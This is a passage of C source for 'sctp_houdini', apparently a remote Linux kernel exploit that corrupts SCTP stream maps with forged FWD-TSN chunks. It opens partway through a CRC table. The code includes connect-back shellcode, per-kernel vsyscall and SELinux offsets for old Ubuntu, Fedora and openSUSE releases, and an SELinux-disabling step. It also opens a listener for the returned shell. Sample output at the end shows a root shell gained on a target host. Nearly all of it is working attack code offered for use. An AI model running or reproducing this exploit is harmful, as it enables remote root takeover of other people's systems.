1310x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
1320x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
1330xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
134};
135
136static __u32 sctp_crc32c(const unsigned char* buf, __u32 len)
137{
138 __u32 i;
139 __u32 crc32 = ~0U;
140 __u32 r;
141 unsigned char b0,b1,b2,b3;
142
143 for (i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++)
144 {
145 CRC32C(crc32, buf[i]);
146 }
147 CRC32C(crc32, 0);
148 CRC32C(crc32, 0);
149 CRC32C(crc32, 0);
150 CRC32C(crc32, 0);
151 for (i = HEADER_LEN; i < len; i++)
152 {
153 CRC32C(crc32, buf[i]);
154 }
155 r = ~crc32;
156
157 b0 = r & 0xff;
158 b1 = (r>>8) & 0xff;
159 b2 = (r>>16) & 0xff;
160 b3 = (r>>24) & 0xff;
161 crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
162 return ( crc32 );
163}
164/* end crc routines */
165
166static char generic_x86_64_shellcode[] =
167// prolog
168"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb"
169"\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80"
170"\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0"
171"\xb0\x60\x0f\x05\xc3"
172// connect back
173"\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58"
174"\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f"
175"\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
176"\x58\x0f\x05\x48\x31\xdb\x48\x39\xc3\x74\x07\x48"
177"\x31\xc0\xb0\xe7\x0f\x05\x90"
178"\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75"
179"\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48"
180"\xf7\xd3\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48"
181"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0"
182"\xb0\xe7\x0f\x05"
183;
184
185static const char __zero[4] = {0x00, 0x00, 0x00, 0x00};
186//static char __force_crash[] = "\x41\x41\x41\x41\x41\x41\x41\x41";
187
188static char generic_x86_64_patchjump[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3";
189static char generic_x86_64_jump[] = "\xe9\x2b\x09\x00\x00\x90";
190
191/* ubuntu 7.04 */
192static char ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow[] = "\x00\x40\x56\x80\xFF\xFF\xFF\xFF";
193static char ubuntu64_2_6_20_17_server_x86_64_vsys_shadow[] = "\x00\x90\x5B\x80\xFF\xFF\xFF\xFF";
194
195/* ubuntu 8.04 */
196static char ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow[] = "\x00\x50\x62\x80\xFF\xFF\xFF\xFF";
197static char ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow[] = "\x00\x40\x62\x80\xFF\xFF\xFF\xFF";
198static char ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow[] = "\x00\x30\x62\x80\xFF\xFF\xFF\xFF";
199
200static char ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow[] = "\x00\x40\x5d\x80\xFF\xFF\xFF\xFF";
201
202/* ubuntu 8.10 */
203static char ubuntu64_2_6_27_7_server_x86_64_vsys_shadow[] = "\x00\x30\x6f\x80\xFF\xFF\xFF\xFF";
204static char ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";
205
206static char ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";
207
208/* fedora code 10 */
209static char fedora64_10_default_kernel_x86_64_vsys_shadow[] = "\x00\x10\x57\x81\xFF\xFF\xFF\xFF";
210static char fedora64_10_default_kernel_x86_64_selinux[] = "\x84\xE6\x7C\x81\xFF\xFF\xFF\xFF";
211
212/* opensuse 11.1 */
213static char opensuse64_11_1_default_kernel_x86_64_vsys_shadow[]="\x00\x10\x8E\x80\xFF\xFF\xFF\xFF";
214
215
216#define __msg_f(format, args...) \
217 do { fprintf(stdout, format, ## args); } while(0)
218
219#define __msg(msg) \
220 do { fprintf(stdout, "%s", msg); } while(0)
221
222#define __fatal(msg) \
223 do {fprintf(stderr, "%s", msg); exit(1);} while (0)
224
225#define __fatal_perror(msg) \
226 do { perror(msg); exit(1); } while (0)
227
228enum {
229 SLAB_ALLOCATOR=0,
230 SLUB_ALLOCATOR=1
231};
232
233typedef struct
234{
235 const char *name;
236 const char *info;
237 char *scode;
238 __u32 scodesize;
239 __u32 portoff;
240 __u32 hostoff;
241 const char *vsysaddr;
242 const char *vsysjump;
243 __u32 vsysjumpsize;
244
245 const char *vsyspatchjump;
246 __u32 vsyspatchjumpsize;
247
248 __u32 chunksize;
249 __u32 slubsize;
250 __u32 ptrsize;
251
252 const char *selinux;
253
254 int allocator_type;
255
256} kinfo;
257
258static kinfo *k;
259
260typedef struct
261{
262 const char* target;
263 const char* rhost;
264 const char* lhost;
265 __u16 rport;
266 __u16 lport;
267
268 __u16 sport; // defines associations
269 __u16 nconn;
270
271} hinfo;
272
273static hinfo h = { NULL, NULL, NULL, 0, 0, 0, 600 };
274
275static kinfo kernels[] = {
276 {
277 "ubuntu64_faisty-2.6.20-[15-17]-generic",
278 "(faisty: generic kernel)",
279 generic_x86_64_shellcode,
280 sizeof(generic_x86_64_shellcode) -1,
281 __OFFSET_PORT_64,
282 __OFFSET_HOST_64,
283 ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow,
284 generic_x86_64_jump,
285 6,
286 generic_x86_64_patchjump,
287 8,
288 40,
289 256,
290 8,
291 NULL,
292 SLAB_ALLOCATOR
293 },
294 {
295 "ubuntu64_faisty-2.6.20-17-server",
296 "(faisty: server kernel - last 2.6.20-17 build)",
297 generic_x86_64_shellcode,
298 sizeof(generic_x86_64_shellcode) -1,
299 __OFFSET_PORT_64,
300 __OFFSET_HOST_64,
301 ubuntu64_2_6_20_17_server_x86_64_vsys_shadow,
302 generic_x86_64_jump,
303 6,
304 generic_x86_64_patchjump,
305 8,
306 40,
307 256,
308 8,
309 NULL,
310 SLAB_ALLOCATOR
311 },
312 {
313 "ubuntu64_hardy-2.6.24-[18-21]-generic",
314 "(kernel from 2.6.24-18 to kernel 2.6.24-21 -- generic)",
315 generic_x86_64_shellcode,
316 sizeof(generic_x86_64_shellcode) -1,
317 __OFFSET_PORT_64,
318 __OFFSET_HOST_64,
319 ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow,
320 generic_x86_64_jump,
321 6,
322 generic_x86_64_patchjump,
323 8,
324 40,
325 96,
326 8,
327 NULL,
328 SLUB_ALLOCATOR
329 },
330 {
331 "ubuntu64_hardy_2.6.24-[16-18]-server",
332 "(kernel from 2.6.24-16 to 2.6.24-18 -- server)",
333 generic_x86_64_shellcode,
334 sizeof(generic_x86_64_shellcode) -1,
335 __OFFSET_PORT_64,
336 __OFFSET_HOST_64,
337 ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow,
338 generic_x86_64_jump,
339 6,
340 generic_x86_64_patchjump,
341 8,
342 40,
343 96,
344 8,
345 NULL,
346 SLUB_ALLOCATOR
347 },
348 {
349 "ubuntu64_hardy-2.6.24-[19-22]-server",
350 "(kernel from 2.6.24-19 to 2.6.24-22 -- server)",
351 generic_x86_64_shellcode,
352 sizeof(generic_x86_64_shellcode) -1,
353 __OFFSET_PORT_64,
354 __OFFSET_HOST_64,
355 ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow,
356 generic_x86_64_jump,
357 6,
358 generic_x86_64_patchjump,
359 8,
360 40,
361 96,
362 8,
363 NULL,
364 SLUB_ALLOCATOR
365 },
366 {
367 "ubuntu64_hardy-2.6.24-23-last-server",
368 "(last 2.6.24-23 kernel before patch -- server)",
369 generic_x86_64_shellcode,
370 sizeof(generic_x86_64_shellcode) -1,
371 __OFFSET_PORT_64,
372 __OFFSET_HOST_64,
373 ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow,
374 generic_x86_64_jump,
375 6,
376 generic_x86_64_patchjump,
377 8,
378 40,
379 96,
380 8,
381 NULL,
382 SLUB_ALLOCATOR
383 },
384 {
385 "ubuntu64_intrepid-2.6.27-7-server",
386 "(kernel 2.6.27-7 -- server)",
387 generic_x86_64_shellcode,
388 sizeof(generic_x86_64_shellcode) -1,
389 __OFFSET_PORT_64,
390 __OFFSET_HOST_64,
391 ubuntu64_2_6_27_7_server_x86_64_vsys_shadow,
392 generic_x86_64_jump,
393 6,
394 generic_x86_64_patchjump,
395 8,
396 40,
397 96,
398 8,
399 NULL,
400 SLUB_ALLOCATOR
401 },
402 {
403 "ubuntu64_intrepid-2.6.27-[9-last]-server",
404 "(kernel 2.6.27-9 to the last unpatched kernel -- server)",
405 generic_x86_64_shellcode,
406 sizeof(generic_x86_64_shellcode) -1,
407 __OFFSET_PORT_64,
408 __OFFSET_HOST_64,
409 ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow,
410 generic_x86_64_jump,
411 6,
412 generic_x86_64_patchjump,
413 8,
414 40,
415 96,
416 8,
417 NULL,
418 SLUB_ALLOCATOR
419 },
420 {
421 "ubuntu64_intrepid-2.6.27-[7-last]-generic",
422 "(kernel 2.6.27-9 to the last unpatched kernel -- server)",
423 generic_x86_64_shellcode,
424 sizeof(generic_x86_64_shellcode) -1,
425 __OFFSET_PORT_64,
426 __OFFSET_HOST_64,
427 ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow,
428 generic_x86_64_jump,
429 6,
430 generic_x86_64_patchjump,
431 8,
432 40,
433 96,
434 8,
435 NULL,
436 SLUB_ALLOCATOR
437 },
438 {
439 "fedora64_10-2.6.25-117",
440 "(fedora core 10 default installed kernel)",
441 generic_x86_64_shellcode,
442 sizeof(generic_x86_64_shellcode) -1,
443 __OFFSET_PORT_64,
444 __OFFSET_HOST_64,
445 fedora64_10_default_kernel_x86_64_vsys_shadow,
446 generic_x86_64_jump,
447 6,
448 generic_x86_64_patchjump,
449 8,
450 40,
451 96,
452 8,
453 fedora64_10_default_kernel_x86_64_selinux,
454 SLUB_ALLOCATOR
455 },
456 {
457 "opensuse64_11.1-2.6.27.7-9-default",
458 "(opensuse 11.1 default installed kernel)",
459 generic_x86_64_shellcode,
460 sizeof(generic_x86_64_shellcode) -1,
461 __OFFSET_PORT_64,
462 __OFFSET_HOST_64,
463 opensuse64_11_1_default_kernel_x86_64_vsys_shadow,
464 generic_x86_64_jump,
465 6,
466 generic_x86_64_patchjump,
467 8,
468 40,
469 256,
470 8,
471 NULL,
472 SLAB_ALLOCATOR
473 }
474};
475
476
477
478/* modular arithmetic shift */
479#define __SHIFT_CHECK 0x7FFF
480static __u16 shift_0_to_7fff[3] = { 0x7FFF, 0xFFFE, 0x0000 };
481static __u16 shift_8000_to_ffff[3] = { 0xFFFF, 0x7FFE, 0x8000 };
482
483/* global streams obj */
484static __u16 streams[1000][2];
485
486/* get stream flow */
487static int build_stream(const void *data, __u32 size, __u16 fc)
488{
489 int chunk_num,i,j,stnum=0;
490 __u16 *p;
491 __u16 *shift;
492 if(size % 2)
493 __fatal("[!!!] build_stream: data unaligned");
494
495 memset(streams, 0x00, sizeof(streams));
496
497 chunk_num = size / 2;
498 p = (__u16*)data;
499 for(i=0; i<chunk_num; i++, p++, fc++)
500 {
501 __u16 val = *p - 1;
502 if(val <= __SHIFT_CHECK)
503 shift = shift_0_to_7fff;
504 else
505 shift = shift_8000_to_ffff;
506
507 for(j=0; j<3; j++)
508 {
509 streams[stnum][0] = fc;
510 streams[stnum++][1] = shift[j];
511 }
512
513 streams[stnum][0] = fc;
514 streams[stnum++][1] = val;
515 }
516
517 return stnum ? stnum : 0;
518}
519
520
521/* some sctp packet header structs */
522struct sctp_hdr
523{
524 __u16 sport;
525 __u16 dport;
526 __u32 vtag;
527 __u32 checksum;
528 char chunks[0];
529}__attribute__((packed));
530
531struct sctp_chk
532{
533 __u8 type;
534 __u8 flags;
535 __u16 len;
536 char data[0];
537}__attribute((packed));
538
539struct sctp_chunk_fwd
540{
541 __u8 type;
542 __u8 flags;
543 __u16 len;
544 __u32 new_tsn;
545}__attribute__((packed));
546
547
548
549enum
550{
551 SCTP_INIT_ACK = 2,
552 SCTP_SACK = 3,
553 SCTP_FWD = 192
554};
555
556
557void disable_abort()
558{
559 /* lame trick to block ABORT chunks from reaching the target!
560 * ABORT messages are generated because we receive a SACK with an out-of-bound TSN
561 * in reply to all fake FWD sent
562 * (when this happens local kernel kills the connection)
563 */
564
565 system("iptables -t filter -A OUTPUT -p sctp --chunk-types any ABORT -j DROP");
566}
567
568#define FWD_MAX_SIZE 0x1000
569void *make_fwd_packet(__u16 sp, __u16 dp, __u32 vtag, __u32 tsn,
570 __u16 streams[][2], int streamlen, int *p_len)
571{
572 int i;
573 __u16 *pstream;
574 struct sctp_hdr *hdr;
575 struct sctp_chunk_fwd *fwd;
576 __u8 *__buff = malloc(FWD_MAX_SIZE);
577 memset(__buff, 0, FWD_MAX_SIZE);
578
579 hdr = (struct sctp_hdr *)__buff;
580
581 hdr->sport = htons(sp);
582 hdr->dport = htons(dp);
583 hdr->vtag = htonl(vtag);
584 hdr->checksum = 0;
585 fwd = (struct sctp_chunk_fwd *)(hdr->chunks);
586 fwd->type = SCTP_FWD;
587 fwd->flags = 0;
588 fwd->len = htons(4 + 4 + (streamlen * 4)); // chunk + ctsn + streams
589 fwd->new_tsn = htonl(tsn+1);
590
591 /* build stream */
592 pstream = (__u16 *)((&(fwd->new_tsn)) + 1);
593 for(i=0; i<streamlen; i++)
594 {
595 *pstream++ = streams[i][0];
596 *pstream++ = streams[i][1];
597 }
598
599 *p_len = ntohs(fwd->len) + sizeof(*hdr);
600 hdr->checksum = htonl(sctp_crc32c(__buff, (__u32)(*p_len)));
601 return hdr;
602}
603
604
605
606/* this function gets VTAG/TSN bound with this socket pair */
607int raw_socket_engine(__u16 sp, __u16 sp2, __u16 dp,
608 __u32 *tsn, __u32 *vtag, __u32 *tsn2, __u32 *vtag2)
609{
610 char packet[1500];
611 int p_len;
612 void *end;
613 struct sctp_hdr *hdr;
614 struct sctp_chk *chk;
615 __u32 tmp;
616 __u16 psp,pdp;
617 fd_set r;
618 struct timeval tv;
619
620 int raw_fd = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
621 if(raw_fd < 0)
622 __fatal_perror("socket: RAW/SCTP");
623
624
625 FD_ZERO(&r);
626 FD_SET(raw_fd, &r);
627 tv.tv_usec=0;
628 tv.tv_sec=10;
629
630 while(select(raw_fd + 1, &r, NULL,NULL,&tv) > 0)
631 {
632 p_len = read(raw_fd, packet, sizeof(packet));
633 end = packet + p_len;
634 hdr = (struct sctp_hdr *)(packet + sizeof(struct iphdr));
635 if((void*)(((char *)hdr)+4) >= end)
636 continue;
637
638 /* check for chunk */
639 chk = (struct sctp_chk *)(hdr->chunks);
640 tmp = ntohl(*((__u32*)(chk->data)));
641 psp = ntohs(hdr->sport);
642 pdp = ntohs(hdr->dport);
643
644 if(chk->type == SCTP_SACK)
645 {
646 if(psp == dp && pdp == sp)
647 *tsn = tmp;
648
649 if(psp == dp && pdp == sp2)
650 *tsn2 = tmp;
651 }
652
653 if(chk->type == SCTP_INIT_ACK)
654 {
655 if(psp == dp && pdp == sp)
656 *vtag = tmp;
657
658 if(psp == dp && pdp == sp2)
659 *vtag2 = tmp;
660 }
661
662 if(*vtag && *tsn && *vtag2 && *tsn2)
663 break;
664
665 FD_ZERO(&r);
666 FD_SET(raw_fd, &r);
667 tv.tv_usec=0;
668 tv.tv_sec=10;
669 }
670
671 return 0;
672}
673
674/* global vars */
675static __u16 sport=0;
676static __u16 sport2=0;
677static __u32 vtag=0, vtag2=0;
678static __u32 tsn=0, tsn2=0;
679
680static struct sockaddr_in server_sctp;
681int raw_sctp=-1;
682
683#define STACK_SIZE 0x1000
684char clone_stack[STACK_SIZE*2];
685
686
687static void send_fwd_chunk(__u16 sp, __u16 dp, __u16 streams[][2],
688 int streamlen, __u32 vtag, __u32 tsn)
689{
690 int p_len=0, ret;
691 void *packet = make_fwd_packet(sp, dp, vtag, tsn, streams, streamlen, &p_len);
692 ret = sendto(raw_sctp, packet, p_len, 0, (struct sockaddr *)&server_sctp, sizeof(struct sockaddr_in));
693 if(ret < 0)
694 __fatal_perror("sendto: sending FWD chunk");
695
696 free(packet);
697}
698
699
700
701static int clone_thread(void *p)
702{
703 raw_socket_engine(sport, sport2, h.rport, &tsn, &vtag, &tsn2, &vtag2);
704 return 0;
705}
706
707
708static int make_sctp_connection(__u16 sp, __u16 dp, int data)
709{
710 struct sctp_initmsg msg;
711 int ret,o=1,fd;
712 socklen_t len_sctp=sizeof(struct sctp_initmsg);
713 struct sockaddr_in s,c;
714
715 fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
716 if(fd < 0)
717 __fatal_perror("socket: sctp SOCK_STREAM");
718
719 ret = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));
720 if (ret < 0)
721 __fatal_perror("setsockopt: SO_REUSEADDR");
722
723
724 /* NOTE: here we assume server peer allocates 10 output streams (as default)
725 * if the applciation behaves differently you must probe and change channels size
726 * to get the correct slab */
727
728 if(k->allocator_type == SLAB_ALLOCATOR) // if SLAB change channel size
729 {
730 getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
731 msg.sinit_num_ostreams=50; // force 256 slab allocation
732 msg.sinit_max_instreams=10;
733 setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
734 }
735 else
736 {
737 getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
738 msg.sinit_num_ostreams=10; // force 96 slab allocation
739 msg.sinit_max_instreams=10;
740 setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
741 }
742
743
744 if(sp)
745 {
746 c.sin_family = PF_INET;
747 c.sin_port = htons(sp);
748 c.sin_addr.s_addr = INADDR_ANY;
749 ret = bind(fd, (struct sockaddr *)&c, sizeof(c));
750 if(ret < 0)
751 __fatal_perror("bind: sctp socket");
752 }
753
754 s.sin_family = PF_INET;
755 s.sin_port = htons(dp);
756 s.sin_addr.s_addr = inet_addr(h.rhost);
757
758 ret = connect(fd, (struct sockaddr *)&s, sizeof(s));
759 if(ret < 0)
760 __fatal_perror("connect: sctp socket");
761
762
763 /* send one byte of data to get correctly
764 * TSN from raw socket (from SACK replies)
765 */
766 if(data)
767 {
768 ret = send(fd, "", 1, 0);
769 if(ret < 0)
770 __fatal_perror("send: sctp socket data");
771 }
772 return fd;
773}
774
775
776static void htons_streams(__u16 s[][2], int len)
777{
778 int i;
779 for(i=0; i<len; i++)
780 {
781 s[i][0] = htons(s[i][0]);
782 s[i][1] = htons(s[i][1]);
783 }
784}
785
786
787static void usage()
788{
789 fprintf(stderr, "./sctp_houdini \n\t"
790 "-H lhost (local host address for connect back shel)\n\t"
791 "-P lport (local port address for connect back shell)\n\t"
792 "-h rhost (remote target host)\n\t"
793 "-p rport (remote target port)\n\t"
794 "-t kernel (target kernel)\n\t"
795 "-s sport (source port defining sctp association where corruption occurs)\n\t"
796 " (always use higher port if you run the exploit multiple times eg. 20000, 21000, etc..)\n\t"
797 " (NEVER reuse the same or next port or vsys will be trashed and init will die soon...)\n\t"
798 "-c conn (number of connectionis before corruption - default 600)\n"
799 );
800}
801
802static void sctp_getopt(int argc, char *argv[])
803{
804 int ret,i;
805
806 while((ret = getopt(argc, argv, "H:P:p:h:t:c:s:")) != -1)
807 {
808 switch(ret)
809 {
810 case 'P':
811 h.lport = atoi(optarg);
812 break;
813
814 case 'p':
815 h.rport = atoi(optarg);
816 break;
817
818 case 't':
819 h.target = optarg;
820 break;
821
822 case 'h':
823 h.rhost = optarg;
824 break;
825
826 case 'H':
827 h.lhost = optarg;
828
829 case 'c':
830 h.nconn = atoi(optarg);
831 break;
832
833 case 's':
834 h.sport = atoi(optarg);
835 break;
836 }
837 }
838
839
840 if(!h.lport || !h.rport || !h.rhost || !h.target || !h.lhost || !h.sport)
841 {
842 usage();
843 exit(1);
844 }
845
846 if(h.sport < h.nconn+1)
847 {
848 fprintf(stderr, "Source Association Port is too low: %d\n", h.sport);
849 usage();
850 exit(1);
851 }
852
853 sport=h.sport;
854 sport2=h.sport + 1;
855
856 for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++)
857 {
858 if(!strcmp(h.target, kernels[i].name))
859 {
860 k = &kernels[i];
861 break;
862 }
863 }
864
865 if(k==NULL)
866 {
867 fprintf(stderr, "Unable to find target: %s\nAvailable targets are:\n", h.target);
868 for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++)
869 {
870 fprintf(stderr, "- %s %s\n", kernels[i].name, kernels[i].info);
871 }
872 exit(1);
873 }
874}
875
876void patchjump()
877{
878 int ret;
879
880 __msg("[**] Restoring vsys: Emulate gettimeofday()... \n");
881 ret = build_stream(k->vsyspatchjump, k->vsyspatchjumpsize, 0);
882 if(ret < 0)
883 __fatal("Error Building Streams...");
884
885 htons_streams(streams, ret);
886 send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
887
888}
889
890
891static void multiplex(int listenfd)
892{
893 int ret,new_fd;
894 fd_set r;
895 struct timeval t;
896 char buffer[1500];
897
898
899 FD_ZERO(&r);
900 FD_SET(listenfd, &r);
901 t.tv_sec = 3;
902 t.tv_usec = 0;
903 __msg("[**] Waiting daemons executing gettimeofday().. this can take up to one minute...\n");
904 __msg("[**] ..");
905 fflush(stdout);
906
907 while(select(listenfd+1, &r, NULL, NULL, &t) == 0)
908 {
909 printf("..");
910 fflush(stdout);
911 t.tv_sec = 3;
912 t.tv_usec = 0;
913 FD_ZERO(&r);
914 FD_SET(listenfd, &r);
915 }
916 __msg("..\n");
917
918 new_fd = accept(listenfd, NULL, 0);
919 if(new_fd < 0)
920 __fatal_perror("accept: listen fd");
921
922
923 __msg("[**] Connected!\n");
924 patchjump();
925
926 close(listenfd);
927
928 write(new_fd, "id\n", 3);
929
930 FD_ZERO(&r);
931 FD_SET(new_fd, &r);
932 FD_SET(0, &r);
933 while(select(new_fd+1, &r, NULL, NULL, NULL) > 0)
934 {
935 if(FD_ISSET(0, &r)) // read from stdin
936 {
937 ret = read(0, buffer, sizeof(buffer));
938 if(ret < 0)
939 __fatal_perror("read: from stdin");
940 else
941 ret = write(new_fd, buffer, ret);
942 }
943
944 if(FD_ISSET(new_fd, &r))
945 {
946 ret = read(new_fd, buffer, sizeof(buffer));
947 if(!ret) {
948 __msg("Endopoint closed the connection\n");
949 break;
950 }
951 else if(ret > 0)
952 {
953 write(1, buffer, ret);
954 }
955 else
956 __fatal_perror("read: from net");
957 }
958
959 FD_ZERO(&r);
960 FD_SET(new_fd, &r);
961 FD_SET(0, &r);
962 }
963
964}
965
966
967/* needed when exploiting old SLAB */
968void swap_to_SLAB_chunk()
969{
970 __u32 tmp;
971 __u16 tmp16;
972
973 tmp = tsn;
974 tsn = tsn2;
975 tsn2 = tmp;
976
977 tmp = vtag;
978 vtag = vtag2;
979 vtag2 = tmp;
980
981 tmp16 = sport;
982 sport = sport2;
983 sport2 = tmp16;
984}
985
986
987
988int main(int argc, char **argv)
989{
990
991 int ret, fd, i, listenfd,o=1;
992 struct sockaddr_in l;
993 __u32 lh;
994 __u16 lp;
995
996 sctp_getopt(argc, argv);
997
998 listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
999 if(setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)) < 0)
1000 __fatal_perror("setsockopt: SO_REUSEADDR");
1001
1002 l.sin_family = PF_INET;
1003 l.sin_port = htons(h.lport);
1004 l.sin_addr.s_addr = inet_addr(h.lhost);
1005 if(bind(listenfd, (struct sockaddr *)&l, sizeof(l)) < 0)
1006 __fatal_perror("bind: sock");
1007
1008 if(listen(listenfd, 4) < 0)
1009 __fatal_perror("listen: sock");
1010
1011
1012 /* set connect back params */
1013 lh = inet_addr(h.lhost);
1014 lp = htons(h.lport);
1015 memcpy(k->scode + k->portoff, &lp, 2);
1016 memcpy(k->scode + k->hostoff, &lh, 4);
1017
1018 raw_sctp = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
1019 if(raw_sctp < 0)
1020 __fatal_perror("socket: RAW/SCTP montitor socket");
1021
1022 server_sctp.sin_family = PF_INET;
1023 server_sctp.sin_port = htons(h.rport);
1024 server_sctp.sin_addr.s_addr = inet_addr(h.rhost);
1025
1026 __msg("[**] Monitoring Network for TSN/VTAG pairs.. \n");
1027 ret = clone(clone_thread, clone_stack+STACK_SIZE-8, CLONE_VM|SIGCHLD, NULL);
1028 if(ret < 0)
1029 __fatal_perror("clone");
1030
1031 sleep(1);
1032
1033 __msg("[**] Start flushing slub cache...\n");
1034 for(i=0; i<=h.nconn; i++)
1035 {
1036 __u16 p = sport-(h.nconn-1)+i;
1037 if(p == sport || p== sport2)
1038 fd = make_sctp_connection(p, h.rport, 1);
1039 else
1040 fd = make_sctp_connection(sport-(h.nconn-1)+i, h.rport, 0);
1041// usleep(10);
1042 }
1043
1044
1045 disable_abort();
1046 /* wait for monitoring engine */
1047 wait(NULL);
1048
1049 if(k->allocator_type == SLAB_ALLOCATOR)
1050 swap_to_SLAB_chunk();
1051
1052 if(vtag && tsn && vtag2 && tsn2)
1053 {
1054 __u32 acc;
1055
1056 __msg_f("[**] Using TSN/VTAG pairs: (TSN: %x <=> VTAG: %x) / (TSN: %x <=> VTAG: %x)...\n", tsn, vtag, tsn2, vtag2);
1057 sleep(1);
1058
1059 if(k->selinux)
1060 {
1061 __msg("[**] Overwriting neightboard sctp map..\n");
1062 acc = (k->slubsize - k->chunksize) / 2;
1063 ret = build_stream(k->selinux, k->ptrsize, acc);
1064 if(ret < 0)
1065 __fatal("Error Building Streams...");
1066
1067 htons_streams(streams, ret);
1068 send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn);
1069
1070 __msg("[**] Disabling Selinux Enforcing Mode..\n");
1071 ret = build_stream(__zero, 4, 0);
1072 if(ret < 0)
1073 __fatal("Error Building Streams...");
1074
1075 htons_streams(streams, ret);
1076 send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
1077 }
1078
1079 __msg("[**] Overwriting neightboard sctp map ......\n");
1080 acc = (k->slubsize - k->chunksize) / 2;
1081 ret = build_stream(k->vsysaddr, k->ptrsize, acc);
1082 if(ret < 0)
1083 __fatal("Error Building Streams...");
1084
1085 htons_streams(streams, ret);
1086 send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn);
1087
1088 __msg("[**] Overwriting vsyscall shadow map..\n");
1089 acc = 0x930 / 2;
1090 ret = build_stream(k->scode, k->scodesize, acc); //1176
1091 if(ret < 0)
1092 __fatal("Error Building Streams...");
1093
1094 htons_streams(streams, ret);
1095 send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
1096
1097 __msg("[**] Hijacking vsyscall shadow map..\n");
1098 ret = build_stream(k->vsysjump, k->vsysjumpsize, 0);
1099 if(ret < 0)
1100 __fatal("Error Building Streams...");
1101
1102 htons_streams(streams, ret);
1103 send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
1104
1105 sleep(1);
1106 }
1107 else
1108 __fatal("VTAG/TSN not found: network error");
1109
1110
1111 multiplex(listenfd);
1112 __msg("[**] Closing Connection... \n");
1113 return 0;
1114}
1115
1116
1117
Output
Output from his version:
#./sctp_houdini -H 192.168.200.1 -P 5555 -h 192.168.200.10 -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117
[**] Monitoring Network for TSN/VTAG pairs..
[**] Start flushing slub cache...
[**] Using TSN/VTAG pairs: (TSN: 28022e8 <=> VTAG: 41fdd4fb) / (TSN: 8cafd3ae <=> VTAG: 1a99396c)...
[**] Overwriting neightboard sctp map..
[**] Disabling Selinux Enforcing Mode..
[**] Overwriting neightboard sctp map ......
[**] Overwriting vsyscall shadow map..
[**] Hijacking vsyscall shadow map..
[**] Waiting daemons executing gettimeofday().. this can take up to one minute...
[**] ....
[**] Connected!
[**] Restoring vsys: Emulate gettimeofday()...
uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0